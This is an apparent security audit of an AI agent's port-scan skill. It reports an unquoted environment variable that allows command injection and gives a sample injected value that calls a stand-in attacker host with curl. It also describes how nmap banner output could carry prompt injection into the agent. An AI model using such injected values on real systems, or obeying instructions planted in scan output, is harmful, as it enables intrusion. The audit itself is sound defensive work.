port-scan

Fail

Audited by Gen Agent Trust Hub on May 9, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The shell scripts in SKILL.md (Steps 2, 3, 4, and 5) interpolate the SECSKILL_SCAN_SPEED environment variable directly into nmap command lines without quoting or validation. This allows for arbitrary command injection. For example, setting the variable to 'T4; curl http://attacker.com' would execute the curl command.
  • [PROMPT_INJECTION]: The skill processes untrusted data from network scans, creating a surface for indirect prompt injection. 1. Ingestion points: Network service banners and version information collected by nmap from the target host and saved in files like service_scan.txt. 2. Boundary markers: Absent; the script does not use any delimiters or warnings to prevent the agent from interpreting nmap output as instructions. 3. Capability inventory: The skill can execute nmap, write files to the local system, and run shell scripts. 4. Sanitization: None; the output from nmap is processed and then printed directly to the output context.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
May 9, 2026, 02:08 AM
Security Audit — agent-trust-hub — port-scan